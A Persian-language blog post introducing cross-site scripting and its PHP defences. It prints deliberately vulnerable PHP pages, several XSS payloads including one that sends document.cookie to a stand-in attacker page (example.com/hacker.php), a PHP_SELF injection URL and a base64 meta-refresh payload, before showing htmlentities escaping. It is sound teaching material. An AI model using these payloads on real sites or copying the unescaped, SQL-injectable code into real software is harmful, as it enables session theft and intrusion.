سلام. 
یکی از انواع حملات به صفحات وب , XSS هست.(Cross Site Scripting) 
xss ازین قراره که نفوذگر توسط کد های Client Side مثل (javascript , vbscript) , صفحات وبی که توسط کاربران اینترنتی (clients) باز شده , مورد حمله قرار میدن و اسکریپت هاشونو تزریق میکنن. 
این اسکریپت ها در صفحات وب ما (clients) اجرا میشن و باعث خرابکاری هایی در برنامه میشن و نفوذگر میتونه اطلاعات کاربرو در اختیار بگیره. 

 


واسه اینکه ساده تر بخوام توضیح بدم , یک مثال خیلی ساده میزنم: 
یک صفحه ی فرم میسازم که نام افرادی که میخوان عضو سایت بشن رو میگیره و در دیتابیس ذخیره میکنه و تمام کسانی که قبلا عضو شدنو هم در همون صفحه , پایین تر از فرم , نمایش میده: 


اسم این صفحه (register.php) 

<form action="" method="post" accept-charset="utf-8"> 
   <input type="text" name="name"> 
   <input type="submit" name="btnSubmit" value="Insert"> 
</form> 
<hr> 
<b>Members:</b><br> 

<?php 
mysql_connect('localhost', 'root', ''); 
mysql_select_db('test'); 
mysql_query('set names utf8'); 

/**************************/ 
// insert codes 
if (isset($_POST['btnSubmit'])) 
{ 
   if (isset($_POST['name']) && !empty($_POST['name'])) 
   { 
      $name = $_POST['name']; 
      mysql_query("INSERT INTO `name` (`name`) VALUES ('{$name}')"); 
      if (mysql_affected_rows() <= 0) 
      { 
         echo "ERROR!"; 
      } 

   } 
} 

/**************************/ 
// show members 
$result = mysql_query("SELECT * FROM `name`"); 
if (mysql_num_rows($result) > 0) 
{ 
   while ($row = mysql_fetch_assoc($result)) 
   { 
       echo $row['name'] . '<br>'; 
   } 
}


حالا کاربری (نفوذگر) وارد این صفحه از سایت میشه و این صفحه ای میبینه که نام کاربر رو میگیره و اینسرت میکنه و زیر فرم هم اسامی رو نمایش میده. 
و بجای اینکه اسمشو وارد کنه , این عبارتو در اینپوت مینویسه: 

<script>alert(\"You have been hacked!\")</script> 


و روی دکمه ی Insert کلیک میکنه و در دیتابیس این عبارت ذخیره میشه. 
قاعدتا عبارت بالا هم باید در زیر member ها اضافه و چاپ بشه!! 

حالا هر کاربری , هر زمانی , از هر جایی که این صفحه از سایتو باز کنه , با یک آلرت که نفوذگر تزریق کرده روبرو میشه. 
بجای اینکه اون عبارت بالا عیناً در قسمت members چاپ بشه , بصورت آلرت در مرورگر کاربر(قربانی) نمایش داده شد , یعنی کدهای جاوااسکریپت در مرورگر کاربر اجرا شد. 
بجای alert میشد هر کد جاوااسکریپت دیگه ای تزریق کرد. 

 



 

خوب , مثال بالارو توو قالب یک مثال دیگه میارم. 
در مثال اولی که زدم , فرمی داشتیم که نام تمام اعضا رو نمایش میداد.حالا کاربری(نفوذگر) وارد همان صفحه یعنی register.php میشه و داخل اینپوت , بجای نام خودش, این کد جاوااسکریپتو وارد میکنه: 

<script> 
    window.location = \'http://example.com?hacker.php?cookie=\' + escape(document.cookie); 
</script>


فرض میکنیم عبارت بالا توسط نفوذگر در دیتابیس ثبت شد. 
* example.com/hacker.php صفحه ایست که نفوذگر ساخته.(آدرس سایت نفوذگر

در ادامه ی مثال, یک صفحه ی لاگین داریم و کاربر ها لاگین میکنن. 
زمانی که لاگین صورت میگیره , اطلاعات کاربر در سشن ذخیره میشه.(در این مثال
* همونطور که میدونید , session id در کوکی و مرورگر کاربر ذخیره میشه و توسط این آیدی مقادیر از حافظه ی سرور خونده میشه. 

یعنی عملا اگر کوکی مرورگر کاربر غیر فعال باشه , سشن هم کار نمیکنه , چون سشن آیدی دیگه نمیتونه در جایی ذخیره بشه. 

پس نکته ی مهمی که اینجاس , اگر ما سشن آیدی یک کاربرو داشته باشیم , توسط این آیدی میتونیم اطلاعات کاربرو که روی حافظه ی سرور ذخیره شده رو بخونیم. 
توو این مثال میخوایم توسط حمله ی xss , سشن کاربر قربانی رو بدست بیاریم. 

یک پیج لاگین ساده درست کردم و فقط این لاگینو محدود به یوزر ادمین کردم.دلیل اینکارم اینه که نخواستم زیادی پیچیدش کنم و فقط میخوام مثالو پیاده سازی کنم. 

<?php 
// start session 
if (!isset($_SESSION)) 
{ 
   @session_start(); 
} 

/***************************/ 
// check login 
if (isset($_POST['btnLogin'])) 
{ 
   if (isset($_POST['username'], $_POST['password'])) 
   { 
      $username = $_POST['username']; 
      $password = $_POST['password']; 

      if (strtolower($username) == 'bidak' && $password == '123') 
      { 
         $_SESSION['login'] = true; 
      } 
   } 
} 

/***************************/ 
// check login session 
if (!isset($_SESSION['login'])) 
{ 
?> 
   <form action="" method="post" accept-charset="utf-8"> 
      username: <input type="text" name="username"> 
      <br><br> 
      password: <input type="text" name="password"> 
      <input type="submit" name="btnLogin" value="login"> 
   </form> 
<?php 
} 

// show members 
if (isset($_SESSION['login'])) 
{ 
   echo 'Welcome to <strong>Admin</strong> panel.<br>'; 

   /**************************/ 
   mysql_connect('localhost', 'root', ''); 
   mysql_select_db('test'); 
   // show members 
   $result = mysql_query("SELECT * FROM `name`"); 
   if (mysql_num_rows($result) > 0) 
   { 
      while ($row = mysql_fetch_assoc($result)) 
      { 
          echo $row['name'] . '<br>'; 
      } 
   } 
} 
else 
{ 
   echo 'You are a <strong>Guest</strong> here now.'; 
} 


وقتی login میشم سشن login ست میشه و در صفحه ی ادمین اسامی اعضای سایت نمایش داده میشه. 
یکی از اسامی که در صفحه چاپ میشه , کد نفوذگر هست: (در متن بالا اشاره شد) 

<script> 
    window.location = 'http://example.com?hacker.php?cookie=' + escape(document.cookie); 
</script> 


این کد اجرا میشه و کوکی کاربر لاگین شده رو به آدرس نفوذگر میچسبونه و میفرسته به صفحه ای که نفوذگر توو سایت خودش ساخته.نفوذگر کوکی های کاربرو در صفحه ای که ساخته (hacker.php) دریافت میکنه و جایی ثبت یا توسط میل و ... ارسال میکنه. 

صفحه ی hacker.php بعنوان مثال: 

<?php 
echo  "found: " . urldecode($_GET['cookie']); 
// Insert into db or Send email 


کدهای صفحه ی نفوذگر اجرا میشه و کوکی سشن آیدی کاربر بدست نفوذگر میرسه. 
کافیه نفوذگر این کوکی رو در مرورگرش ایجاد کنه و مقدار سشن آیدی کاربر قربانی رو در مرورگر خودش ست کنه. 
بعد از ست شدن سشن آیدی کاربر قربانی , دیگه صفحه ی لاگین نمیاد و مستقیم وارد پیج ادمین میشه. 

* این کد میتونه توو پروفایل یک کاربر تزریق بشه یا در صفحه ی پیام های خصوصی یا کامنت های یک پست یا بصورت یک لینک داده بشه به کاربر از طریق ایمیل و ... و کاربر لینک مورد نظر نفوذگرو باز کنه و ... 
 



 

مثالی واسه لینک دادن به کاربر و تزریق از طریق address bar: 
سایتی که در قسمت search box باگ xss داره.قسمتی از کدهاش به این شکله که عبارت جستجو شده توسط کاربرو در url قرار میده و با متغیر GET مورد دستیابی قرار میده و بدون هیچ فیلتری در صفحه عبارت جستجو شده رو چاپ میکنه: 

echo "You searched for: ".$_GET['search']; 


و نفوذگر چیزی شبیه به آدرس سایت مد نظر برای کاربر قربانی به شکل های مختلفی ارسال میکنه تا کاربر قربانی روی این لینک کلیک کنه. 

http://exampleSite.com/result.html?search=<img src=/ onerror="alert(document.cookie)"> 


* از صفت های تگ های html میشه واسه تزریق کد استفاده کرد. 
نسخه ی جدید مرورگرها مثل chrome , تزریق اسکریپت از address bar رو جلوگیری میکنن ولی بعضی روش ها هنوز روی firefox از url میشه تزریق کرد.(بخاطر وجود antiXss مرورگرهای ورژن جدید) 

در ادامه ی همین قسمت , یک نوع دیگه رو نشون بدم: 
برنامه نویس تگ form استفاده کرده ومقدار صفت action رو از آدرس بار کاربر گرفته. ازین طریق: 

<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>"> 


دستور : 

$_SERVER["PHP_SELF"]; 


* از url کاربر نام فایل (صفحه ی جاری) نسبت به ریشه رو برمیگردونه. 
مثلا این آدرس صفحه ی جاری: http://example.com/foo/bar.php 
چیزی که در action تگ فرم چاپ میشه: 

/foo/bar.php 


حالا نفوذگر , کد زیرو به آدرس مقابل تزریق میکنه: http://www.example.com/test_form.php 

http://www.example.com/test_form.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E 


و در نتیجه تگ فرم به این شکل در میاد:

<form method="post" action="test_form.php/"><script>alert('hacked')</script> 

 

و کد جاوااسکریپت در مرورگر کاربر اجرا میشه. 

 



 

خوب ... 
نفوذگر واسه inject کردن کدهاش روش های مختلفی استفاده میکنه. 
* بعنوان مثال , کد بصورت base64 کدگذار شده.یک نمونه با تگ meta: 

<META HTTP-EQUIV="refresh" 
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"> 

 

اگر عبارت کدگذاری شده رو decode کنیم , این عبارتو میبینیم: 

<script>alert('test3')</script> 

 

و روش های مختلف دیگه ای مثل url encoding و hex encoding و ... 
که کاربر از روی ظاهر نوشته نمیتونه بفهمه که کدی تزریق شده. 

 




 

توو این پست صفحات register و login رو بعنوان مثال پیاده سازی کردم, بخاطر اون دسته از افرادی که هیچ آشنایی با این باگ ندارن و اگر خواستن تست کنن همین کدهارو اجرا کنن. 
قصد , آموزش xss نبود و یک معرفی اجمالی انجام دادم. 
شما روش های مختلف تزریقو میتونید از این لینک ببینید. 

در ادامه روش مقابله با xss رو میگم.

 



 

روش مقابله:

همونطور که مثال هارو دیدید , هر جایی که مقادیر(گرفته شده از کاربران) در صفحه ی مرورگر چاپ میشه , امکان xss هست. 
پس همیشه تمام اطلاعاتی که از کاربرها میگیرید , مانند (کامنت ها , چت ها , پیام ها , پست ها , مشخصات , ... و ... و ...) در زمان چاپ , باید با تابع htmlentities و یا htmlspecialchars (یکی از توابع) , اطلاعات escape بشن. (توضیحات این دو تابع در این لینک)
 

بعنوان مثال قسمت نمایش اعضا که در قسمت اول کدشو نوشتم , به این حالت در میاد: 

// show members 
$result = mysql_query("SELECT * FROM `name`"); 
if (mysql_num_rows($result) > 0) 
{ 
   while ($row = mysql_fetch_assoc($result)) 
   { 
            // use HtmlEntities to prevent xss 
       echo htmlentities($row['name'], ENT_QUOTES, 'UTF-8') . '<br>'; 
   } 
} 

 

خوب , حالا چیزی که در صفحه ی مرورگر چاپ میشه: (طبق مثال اول در ابتدای پست) 

<script>alert("You have been hacked!")</script> 
ali 
hasan 
mohsen

 

کد تزریق شده عمل نمیکنه و عینا چاپ میشه. 

در مثالی دیگه (در متن بالا) , اشتباه برنامه نویس در تگ فرم باعث بروز این باگ شده بود , به این شکل در میاد: 

<form method="post" action="<?php echo htmlentities($_SERVER["PHP_SELF"], ENT_QUOTES, 'UTF-8')?>">

 



 

یک نکته مهم:

حتما دادهایی که از سمت کلاینت دریافت میکنید , در سمت سرور چک کنید. مخصوصا داده هایی که از دستوراتی مثل توابعی که در جاوااسکریپت نوشته اید و ...
کاربری که از سایت بازدید میکنه , با استفاده Firebug مرورگر میتونه مقادیردرج شده توسط برنامه نویسو تغییر بده.

بعنوان یک مثال ریز(laugh)  این بازی رو ببینید:

با توجه به کدهای بازی , تغییرات براحتی از طریق سربرگ Console میتونید انجام بدید. مقادیر متغیر هارو عوض کنید یا توابع رو تغییر بدید ویا توابعی رو فرمان اجرا بدید و ...
مثلا در Console تابع clickAllCells() رو صدا بزنید و یا برای برنامه حلقه ای بنویسید تا خونه هایی که بمب نیستن کلیک بشن.

یک مثال ساده:

for(i=0; i<30; i++)
{
	for(j=0; j<16; j++)
	{
		if(getNeighbours(i, j) != 99)
		{
			clickCell(false,document.getElementById("cell" + i + '_' + j),1);
		}
	}
}


فک کنم جریانو گرفتید.

محسن موحد | متفرقه , PHP , Javascript , Jquery , امنیت , پدر بزرگم | روز دوشنبه ۲۴ فروردین ۱۳۹۴ - ۱۵:۱۶ | نظرات (0)

فیلدهای * دار الزامی می باشند.